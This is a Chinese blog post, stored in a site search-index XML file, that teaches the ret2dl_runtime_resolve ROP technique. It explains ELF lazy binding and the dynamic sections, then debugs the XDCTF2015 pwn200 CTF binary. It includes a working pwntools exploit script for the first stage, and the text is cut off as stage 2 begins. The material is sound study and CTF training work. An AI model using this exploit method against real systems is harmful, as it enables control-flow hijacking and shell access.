-
Notifications
You must be signed in to change notification settings - Fork 0
/
local-search.xml
41 lines (19 loc) · 71.5 KB
/
local-search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>高级ROP-ret2dl_runtime_resolve</title>
<link href="/2023/12/28/%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve/"/>
<url>/2023/12/28/%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve/</url>
<content type="html"><![CDATA[<h1 id="高级ROP-ret2dl-runtime-resolve"><a href="#高级ROP-ret2dl-runtime-resolve" class="headerlink" title="高级ROP-ret2dl_runtime_resolve"></a>高级ROP-ret2dl_runtime_resolve</h1><hr><p><strong>Written by:冰糖雪狸</strong></p><h4 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h4><p>我们知道在Linux中如果程序想要调用其他动态链接库的函数,必须要在程序加载的时候动态链接;在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块;所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候才进行绑定(符号查找、重定位等);<br>而在Linux 中是利用_dl_runtime_resolve(link_map_obj, reloc_arg)函数来对动态链接的函数进行重定位的;那么可以考虑,如果我们可以控制相应的参数及其对应地址的内容就可以控制解析的函数。这就是 ret2dlresolve 攻击的核心所在。</p><h2 id="前置知识——延迟绑定"><a href="#前置知识——延迟绑定" class="headerlink" title="前置知识——延迟绑定"></a>前置知识——延迟绑定</h2><p>在动态链接下,程序模块之间包含了大量的函数引用,所以在程序开始执行前,动态链接会耗费不少时间用于解决模块之间引用的符号查找以及重定位。ELF采用了一种叫延迟绑定(Lazy Binding)的做法,基本的思想就是当函数第一次被用到时才进行绑定(符号査找、重定位等),如果没有用到则不进行绑定。所以程序开始执行时,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器来负责绑定。</p><p>在开始之前我们需要先看看什么是got表和plt表</p><ul><li>plt表(Procedure Link Table):过程链接表,表项存储的是got表的地址,函数调用的时候跳转到plt表项,根据表项中的地址到got表中寻找函数在虚拟地址空间中的真实地址。所以他是函数调用的一个中间过程。</li><li>got表(Global Offset Table):全局偏移表,我们常说的got表就是 .got.plt节,存储的是库函数在虚拟地址空间中的真实地址。</li></ul><p>对应关系如下图所示:</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cimage.png" alt="image"></p><p>我们尝试gdb单步运行一个32位程序到第一次调用write函数处,可以看到write函数实际调用为<code>write@plt</code>,跳转至<code>[email protected]</code></p><p> ![lazy binding](高级ROP-ret2dl-runtime-resolve\lazy binding.png)</p><p>上图中第一次调用write函数的具体过程应该如下:</p><ol><li>函数调用跳入PLT表(<code>call write@plt</code>)</li><li>plt表跳入got表,此时位第一次函数调用,got表中存储的是write@got的下一个指令地址,也就是 <code>write@plt+6</code></li><li>got表跳回到plt表,接着压入 0x20( reloc_offset 参数有时也叫reloc_arg,将在后续用于寻址)</li><li>跳到公共plt表项,也就是plt[0],压入参数*(got+4),该参数作为 link_map_obj 参数,里面存放了 link_map结构体地址,链接器通过该结构体中的信息完成重定位</li><li>跳转到got[2],也就是*(got+8),调用动态链接器的_dl_runtime_resolve函数完成符号解析和重定位操作</li><li>获得puts函数地址后将其填入got表中</li></ol><p>以上就是第一次调用puts函数的大致过程,在第二次调用write函数时,在第2步即可执行write函数。</p><p>具体过程可以如下图所示:</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E5%88%9D%E6%AC%A1%E8%B0%83%E7%94%A8.png" alt="初次调用"></p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E5%86%8D%E6%AC%A1%E8%B0%83%E7%94%A8.png" alt="再次调用"></p><p>说完延迟绑定的具体过程接下来进入正题,也就是ret2_dl_runtime_resolve的过程。</p><h2 id="dl-runtime-resolve-原理"><a href="#dl-runtime-resolve-原理" class="headerlink" title="_dl_runtime_resolve()原理"></a>_dl_runtime_resolve()原理</h2><h3 id="准备知识"><a href="#准备知识" class="headerlink" title="准备知识"></a>准备知识</h3><p>在上述函数调用过程中,传入了reloc_arg和link_map作为_dl_runtime_resolve函数的两个参数,其中<code>link_map</code>中包含了几个节区的地址,它们共同完成整个重定位工作。</p><h5 id="dynamic"><a href="#dynamic" class="headerlink" title=".dynamic"></a>.dynamic</h5><p>这节是ld.so使用的动态链接信息,在/etc/ld.so.conf文件中存放着需要动态加载的目录,使用ldconfig就可以将ld.so.conf中的指定目录的库文件加载到内存中,并记录在/etc/ld.so.cache文件中。ld.so.1文件就可以在高速缓存中访问动态库文件,提高访问速度。导入动态链接库,可以在/etc/ld.so.conf文件中配置,或者使用LD_LIBRARY_PATH环境变量进行引用。<strong>当然,可以简单记成.dynamic节含有指向.dynstr, .dynsym, .rel.plt的指针</strong></p><p>结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span></span><br><span class="hljs-class">{</span><br> Elf32_Sword d_tag; <span class="hljs-comment">/* 对应着其它段区 */</span><br> <span class="hljs-class"><span class="hljs-keyword">union</span></span><br><span class="hljs-class"> {</span><br> Elf32_Word d_val; <span class="hljs-comment">/* Integer value */</span><br> Elf32_Addr d_ptr; <span class="hljs-comment">/* Address value */</span><br> } d_un;<br>} Elf32_Dyn;<br></code></pre></td></tr></table></figure><p>而对每一个有该类型的object,d_tag控制着d_un的解释。</p><p>而在ida里我们可以看到的dynamic如下。</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve.dynamic%E8%8A%82.png" alt="dynamic节"></p><p>而我们着重关注的是以下三个</p><p><strong>DT_STRTAB (指向.dynstr) –> 处于.dynamic的地址加0x44处;</strong></p><p>该元素保存着字符串表地址,在第一部分有描述,包括了符号名,库名,和一些其他的在该表中的字符串。</p><p><strong>DT_SYMTAB (指向.dynsym) –> 处于.dynamic的地址加0x4c处;</strong></p><p>该元素保存着符号表的地址,在第一部分有描述,对32-bit类型的文件来说,关联着一个Elf32_Sym入口。</p><p><strong>DT_JMPREL (指向.rel.plt) –> 处于.dynamic的地址加0x84处;</strong></p><p>假如存在,它的入口d_ptr成员保存着重定位入口(该入口单独关联着PLT)的地址。假如lazy方式打开,那么分离它们的重定位入口让动态连接器在进程初始化时忽略它们。假如该入口存在,相关联的类型入口DT_PLTRELSZ和DT_PLTREL一定要存在。</p><p><em>ld.so加载器:相应的配置文件是/etc/ld.so.conf,指定so库的搜索路径,是文本文件,也可以通过定义$LD_LIBRARY_PATH的环境变量来指定程序运行时的.so文件的搜索路径。</em></p><h5 id="dynstr"><a href="#dynstr" class="headerlink" title=".dynstr"></a>.dynstr</h5><p>这一节动态链接的字符串表,保存动态链接所需的字符串。比如符号表中的每个符号都有一个 st_name(符号名),他是指向字符串表的索引,这个字符串表可能就保存在 .dynstr,而.dynstr结构为正常的字符串数组。</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve.dynstr.png" alt="dynstr"></p><h5 id="dynsym"><a href="#dynsym" class="headerlink" title=".dynsym"></a>.dynsym</h5><p>动态链接的符号表,保存需要动态连接的符号表,由 Elf_Sym 结构体集合而成。.dynsym结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span></span><br><span class="hljs-class">{</span><br> Elf32_Word st_name; <span class="hljs-comment">//符号名,是相对.dynstr起始的偏移,链接器通过该偏移在.dynstr中找到函数名</span><br> Elf32_Addr st_value;<br> Elf32_Word st_size;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> st_info;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> st_other;<br> Elf32_Section st_shndx;<br>}Elf32_Sym; <br></code></pre></td></tr></table></figure><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve.dynsym.png" alt="dynsym"></p><h5 id="rel-plt"><a href="#rel-plt" class="headerlink" title=".rel.plt"></a>.rel.plt</h5><p>这节的每个表项对应了所有外部过程调用符号的重定位信息。.rel.plt结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span>{</span><br> Elf32_Addr r_offset; <span class="hljs-comment">//指向GOT表的指针,即该函数在got表的偏移</span><br> Elf32_Word r_info;<br>}Elf32_Rel<br><span class="hljs-meta">#<span class="hljs-keyword">define</span> ELF32_R_SYM(i) ((i)>>8)</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> ELF32_R_TYPE(i) ((unsigned char)(i))</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))</span><br></code></pre></td></tr></table></figure><p><em><code>.rel.plt</code>节是用于函数重定位,<code>.rel.dyn</code>节是用于变量重定位</em></p><h5 id="dl-runtime-resolve-函数"><a href="#dl-runtime-resolve-函数" class="headerlink" title="_dl_runtime_resolve()函数"></a>_dl_runtime_resolve()函数</h5><p><code>_dl_runtime_resolve(link_map,reloc_arg)</code>是主要的研究对象,在前文说过它在延迟绑定的第5步完成符号解析和重定位操作,这个函数是延迟绑定机制的一部分,它在运行时被调用,以完成符号解析和重定位。此函数无<strong>无延迟绑定机制</strong>,需要的两个参数 reloc_arg 和 link_map分别从函数自己的 plt 表项和公共plt表项 push 进栈,通过这个函数可以找到.dynamic的地址。</p><h5 id="dl-fixup-函数"><a href="#dl-fixup-函数" class="headerlink" title="_dl_fixup()函数"></a>_dl_fixup()函数</h5><p><code>dl_fixup</code> 是由 <code>_dl_runtime_resolve</code> 调用的内部函数,它负责具体的符号解析工作。该函数确实用于查找导入函数的真实地址,并且一旦地址被确定,它会更新 GOT 表中对应的项,以便后续的函数调用能直接使用解析后的地址,而不再需要通过 <code>_dl_runtime_resolve</code>。_dl_fixup()函数在glibc-2.23/elf/dl_runtime.c中实现,我们在这里关注一些它的主要代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs c">_dl_fixup(<span class="hljs-keyword">struct</span> link_map *l, ElfW(Word) reloc_arg)<br>{<br> <span class="hljs-comment">// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg</span><br> <span class="hljs-type">const</span> PLTREL *<span class="hljs-type">const</span> reloc = (<span class="hljs-type">const</span> <span class="hljs-type">void</span> *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);<br> <span class="hljs-comment">// 然后通过reloc->r_info找到.dynsym中对应的条目</span><br> <span class="hljs-type">const</span> <span class="hljs-title function_">ElfW</span><span class="hljs-params">(Sym)</span> *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];<br> <span class="hljs-comment">// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7</span><br> assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);<br> <span class="hljs-comment">// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址</span><br> result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, <span class="hljs-literal">NULL</span>);<br> <span class="hljs-comment">// value为libc基址加上要解析函数的偏移地址,也即实际地址</span><br> value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : <span class="hljs-number">0</span>);<br> <span class="hljs-comment">// 最后把value写入相应的GOT表条目中</span><br> <span class="hljs-keyword">return</span> elf_machine_fixup_plt (l, result, reloc, rel_addr, value);<br>}<br></code></pre></td></tr></table></figure><h4 id="总结一下"><a href="#总结一下" class="headerlink" title="总结一下"></a>总结一下</h4><ol><li>dl_runtime_resolve 需要两个参数,一个是 reloc_arg,就是函数自己的 plt 表项 push 的内容,一个是link_map,这个是公共 plt 表项 push 进栈的,通过它可以找到.dynamic的地址</li><li>而 .dynamic 可以找到 .dynstr(+0x44)、.dynsym(+0x4c)、.rel.plt(+0x84)这些东西的地址</li><li>.rel.plt 的地址加 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针,记作rel。这个指针对应的里面放着 r_offset、r_info</li><li>将 rel -> r_info >> 8 得到的就是 .dynsym 的下标,这个下标的内容就是 name_offset</li><li>.dynstr+name_offset 得到的就是 st_name(符号名字符串指针),而 st_name 存放的就是要调用函数的函数名</li><li>在动态链接库里面找这个函数的地址,赋值给 *rel->r_offset,也就是 GOT 表就完成了一次函数的动态链接</li></ol><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve__dl_runtime_resolve2.png" alt="__dl_runtime_resolve2"></p><h3 id="实际调试理解"><a href="#实际调试理解" class="headerlink" title="实际调试理解"></a>实际调试理解</h3><p>这里以<a href="https://github.com/bash-c/pwn_repo/tree/master/XDCTF2015_pwn200">XDCTF2015_pwn200</a>为例,实际调试一下来理解<code>dl_runtime_resolve</code>的工作流程,源码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs C"><span class="hljs-comment">//gcc -fno-stack-protector -m32 -z relro -no-pie ret2dl.c -o xdctf2015_partial32</span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><unistd.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string.h></span></span><br><br><span class="hljs-type">void</span> <span class="hljs-title function_">vuln</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">char</span> buf[<span class="hljs-number">100</span>];<br> setbuf(<span class="hljs-built_in">stdin</span>, buf);<br> read(<span class="hljs-number">0</span>, buf, <span class="hljs-number">256</span>);<br>}<br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">char</span> buf[<span class="hljs-number">100</span>] = <span class="hljs-string">"Welcome to XDCTF2015~!\n"</span>;<br><br> setbuf(<span class="hljs-built_in">stdout</span>, buf);<br> write(<span class="hljs-number">1</span>, buf, <span class="hljs-built_in">strlen</span>(buf));<br> vuln();<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>先在gdb中运行到第一次调用write函数处</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E8%B0%83%E8%AF%951.png" alt="调试1"></p><p>si步进后看到程序会像之前说的那样几次跳转之后进入 dlresolve 函数,在此之前我们注意到push了两个参数。刚好是_dl_runtime_resolve(link_map_obj, reloc_arg)需要的参数;其中 0x804a004 就是 link_map 指针,0x20就是 reloc_arg ;接下来看看如何通过这两个参数找到write函数的。</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E8%B0%83%E8%AF%952.png" alt="调试2"></p><p>首先查看 link_map 指针找到 link_map 地址</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E8%B0%83%E8%AF%953.png" alt="调试3"></p><p>然后查看 link_map ,这其中第3个地址即为 .dynamic 节的地址,即 0x08049f0c</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E8%B0%83%E8%AF%954.png" alt="调试4"></p><p>然后通过.dynamic来找到.dynstr、 .dynsym、 .rel.plt的地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c">.dynstr = [.dynamic + <span class="hljs-number">0x44</span>] = <span class="hljs-number">0x804826c</span><br>.dynsym = [.dynamic + <span class="hljs-number">0x4c</span>] = <span class="hljs-number">0x80481cc</span><br>.rel.plt = [.dynamic + <span class="hljs-number">0x84</span>] = <span class="hljs-number">0x8048324</span><br></code></pre></td></tr></table></figure><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E8%B0%83%E8%AF%955.png" alt="调试5"></p><p>然后用 .rel.plt 的地址加上参数 reloc_arg,找到函数的重定位表项 Elf32_Rel 的指针,记作 rel 。查看 rel 所在内存即可得到 r_offset 和 r_info</p><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs dns">rel = [.rel.plt + reloc_arg] = <span class="hljs-number">0x8048324</span> + <span class="hljs-number">0</span>x20 = <span class="hljs-number">0x8048344</span><br></code></pre></td></tr></table></figure><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E8%B0%83%E8%AF%956.png" alt="调试6"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c">r_offset = <span class="hljs-number">0x0804a01c</span> <span class="hljs-comment">//指向GOT表的指针</span><br>r_info = <span class="hljs-number">0x00000607</span><br></code></pre></td></tr></table></figure><p>然后我们将 r_info>>8 ,即 0x00000607>>8 = 6 作为.dynsym中的下标;此时我们来到 .dynsym 的位置,去找找 write 函数的名字符串偏移;</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs python">pwndbg> x/40wx <span class="hljs-number">0x80481cc</span><br><span class="hljs-number">0x80481cc</span>:<span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000000</span> <span class="hljs-comment"># dynstr[0]</span><br><span class="hljs-number">0x80481dc</span>:<span class="hljs-number">0x00000033</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000012</span><span class="hljs-comment"># dynstr[1]</span><br><span class="hljs-number">0x80481ec</span>:<span class="hljs-number">0x00000027</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000012</span><span class="hljs-comment"># dynstr[2]</span><br><span class="hljs-number">0x80481fc</span>:<span class="hljs-number">0x0000005c</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000020</span><span class="hljs-comment"># dynstr[3]</span><br><span class="hljs-number">0x804820c</span>:<span class="hljs-number">0x00000020</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000012</span><span class="hljs-comment"># dynstr[4]</span><br><span class="hljs-number">0x804821c</span>:<span class="hljs-number">0x0000003a</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000012</span><span class="hljs-comment"># dynstr[5]</span><br><span class="hljs-number">0x804822c</span>:<span class="hljs-number">0x0000004c</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000000</span><span class="hljs-number">0x00000012</span><span class="hljs-comment"># dynstr[6]</span><br></code></pre></td></tr></table></figure><p>可以找到 name_offset = 0x4c 。然后用.dynstr的地址加上name_offset,就是这个函数的符号名字符串st_name;</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E8%B0%83%E8%AF%957.png" alt="调试7"></p><p>最后在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表就可以了,这样就完成了程序中对write函数的首次查找。</p><h4 id="附注"><a href="#附注" class="headerlink" title="附注"></a>附注</h4><ol><li>为什么要对r_info进行右移8的操作?<br>r_info是0x00000607,607代表的是偏移为6的导入函数,07代表的是导入函数的意思,可以把07看做成一个标志位,真正进行偏移运算的只有前面的6,所以需要对r_info进行右移8的操作将后面的标志位07去掉,保留前面需要计算的偏移</li><li>下标和偏移一样吗?<br>下标和偏移本质来说一样,但是滑动的单位不一样。下标是以结构体为单位的,而偏移是以字节为单位的。所以前面 .dynsym(符号表)的基地址加上函数在 .dynsym 的下标,实际上找的是在 .dynsym 中的第几个结构体。而 .dynsym 节中 Elf_Sym 结构体的大小是0x10,故这里每个下标代表 0x10 个字节</li></ol><h2 id="ret2dl-runtime-resolve-攻击"><a href="#ret2dl-runtime-resolve-攻击" class="headerlink" title="ret2dl_runtime_resolve 攻击"></a>ret2dl_runtime_resolve 攻击</h2><h3 id="攻击思路"><a href="#攻击思路" class="headerlink" title="攻击思路"></a>攻击思路</h3><p>现在我们仍然利用这个程序来具体看看 ret2dl_runtime_resolve 的利用手法。</p><p>事实上,虚拟地址是通过最后一个箭头,即从 st_name 得来的,只要我们能够修改这个st_name的内容就可以执行任意函数来 get shell</p><p>比如把 st_name 的内容修改成为”system”,而 reloc_arg 即参数n是我们可以控制的,我们需要做的是通过一系列操作。把 reloc_arg 可控转化为 st_name 可控。</p><h3 id="FULL-RELRO"><a href="#FULL-RELRO" class="headerlink" title="FULL RELRO"></a>FULL RELRO</h3><p>FULL RELRO下,禁用延迟绑定,所有的外部函数将在加载时直接绑定,且Got表不再可写,即所有的导入符号在加载是便被解析。.got.plt段被完全初始化为目标函数的地址,并标记为只读。很显然,这种情况,我们几乎用不了ret2dl_resolve的思路,这种攻击方式自然也就不成立了</p><h3 id="Partial-RELRO"><a href="#Partial-RELRO" class="headerlink" title="Partial RELRO"></a>Partial RELRO</h3><p>Partial RELRO保护下,.dynamic 节只有读取的权限,而我们知道 relloc_arg 对应 ELF_REL 在 .rel.plt 段上的偏移,动态加载器将其加上 .rel.plt 的基地址来得到目标 ELF_REL 的地址。然而,当这个内存地址超过了.rel.plt 段,并达到某个我们可写的段如 .bss 时,我们就可以在这里伪造一个 ELF_REL ,修改 r_offset 为一个可写的内存地址,来将解析后的函数地址写到那里。同样,修改 r_info 为一个能将动态装载器导向攻击者控制内存的下标,指向一个位于它后面的 ELF_SYM ,并修改 ELF_SYM 中的 st_name 指向我么希望执行的函数即可。攻击思路大概可以分为以下五步:</p><ol><li>控制<code>eip</code>为PLT[0]的地址,只需传递一个<code>index_arg</code>参数</li><li>控制<code>index_arg</code>的大小,使<code>reloc</code>的位置落在可控地址内</li><li>伪造<code>reloc</code>的内容,使<code>sym</code>落在可控地址内</li><li>伪造<code>sym</code>的内容,使<code>name</code>落在可控地址内</li><li>伪造<code>name</code>为任意库函数,如<code>system</code></li></ol><p>根据总结出来的攻击思路,可以将整个攻击流程分为5步来学习</p><h4 id="stage-1"><a href="#stage-1" class="headerlink" title="stage 1"></a>stage 1</h4><p>直接调用<code>call write@plt</code>肯定是不够的,因此我们跳过它,模拟之后的调用过程。call 之后的过程大致简化如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs assembly">push reloc_arg<br>jump --> 公共plt表项(plt0)<br>push link_map<br>jump --> dl_runtime_resovle<br></code></pre></td></tr></table></figure><p>因此考虑先溢出后把 .rel.got 迁移到bss段,再手动调用 plt[0] ,解析 write 函数,打印出 <code>/bin/sh</code>字符串。也就是说,我们需要两个关键数据:plt[0]的地址和 write 函数对应的 reloc_arg 值。plt[0]很好获得,但是 reloc_arg 就稍微需要一些计算了。</p><h5 id="reloc-arg-计算"><a href="#reloc-arg-计算" class="headerlink" title="reloc_arg 计算"></a>reloc_arg 计算</h5><p>首先我们要知道 .plt 的作用是一个跳板,保存了某个符号在重定位表中的偏移量(用来第一次查找某个符号)和对应的 .got.plt 的对应的地址,于是我们明白 .plt 与 .plt.rel 一一对应。而 .plt 从结构体下标从1开始,.rel.plt 的结构体下标是从0开始的,如下图所示:</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cplt&plt.got.png" alt="plt&plt.got"></p><p>因此 write_plt - plt[0] 可以得出,在 .plt 中 write 相对 plt[0] 的距离。.plt 中一个结构体0x10字节且 .plt 与 .rel.plt 结构体位置差1,故 (write_plt - plt[0])/16 -1 可以算出 write 是 .plt.rel 表中的第几个结构体,再乘以结构体的大小即可算出 reloc_arg 。</p><p>故 *<em>reloc_arg = [(write_plt - plt[0])/16 -1]<em>8</em></em></p><p>因此stage1完整exp如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>context(log_level = <span class="hljs-string">'debug'</span>,arch =<span class="hljs-string">'i386'</span>,os=<span class="hljs-string">'Linux'</span>)<br>pwnfile = <span class="hljs-string">'./xdctf2015_partial32'</span><br>io = process(pwnfile)<br>elf = ELF(pwnfile)<br>rop = ROP(pwnfile)<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">kan</span>():<br>gdb.attach(io)<br>pause()<br><br>bss_base = elf.bss()<br>padding = <span class="hljs-number">0x70</span><br>stack_size = <span class="hljs-number">0x100</span><br>fake_stack = bss_base + stack_size<br>rop.raw(<span class="hljs-string">'a'</span> * padding)<br>rop.call(<span class="hljs-string">'read'</span>,[<span class="hljs-number">0</span>, fake_stack, <span class="hljs-number">100</span>])<br>rop.migrate(fake_stack)<br>io.sendlineafter(<span class="hljs-string">b"Welcome to XDCTF2015~!\n"</span>,rop.chain())<br><br>rop = ROP(pwnfile)<br>sh = <span class="hljs-string">"/bin/sh\x00"</span><br>plt0 = elf.get_section_by_name(<span class="hljs-string">'.plt'</span>).header.sh_addr<br>reloc_arg = ((elf.plt[<span class="hljs-string">'write'</span>] - plt0)/<span class="hljs-number">16</span> -<span class="hljs-number">1</span>)*<span class="hljs-number">8</span><br>rop.raw(plt0)<br>rop.raw(<span class="hljs-built_in">int</span>(reloc_arg)) <span class="hljs-comment">#rop.raw()中必须是int类型,不能是float</span><br>rop.raw(<span class="hljs-string">'beaf'</span>)<br>rop.raw(<span class="hljs-number">1</span>) <span class="hljs-comment">#write函数1参</span><br>rop.raw(fake_stack + <span class="hljs-number">80</span>) <span class="hljs-comment">#write函数2参</span><br>rop.raw(<span class="hljs-built_in">len</span>(sh)) <span class="hljs-comment">#write函数3参</span><br><br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">80</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br>rop.raw(sh)<br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">100</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br><br>io.sendline(rop.chain())<br>io.interactive()<br></code></pre></td></tr></table></figure><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cst1.png" alt="st1"></p><h4 id="stage-2"><a href="#stage-2" class="headerlink" title="stage 2"></a>stage 2</h4><p>上一阶段我们利用 .plt 来推演计算 reloc_arg 的值,这一部分我们直接绕过 .rel.plt + reloc_arg 的计算,直接让程序指向write函数的 Elf32_Rel 结构体。这个结构体是 .rel.plt 的一个结构体,实际上是对结构体的迁移,也就是下面红圈的位置(stage1是模拟了黄色圈部分):</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cst2.png" alt="st2"></p><p>先看write函数在 .rel.plt 的结构体如何构建:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 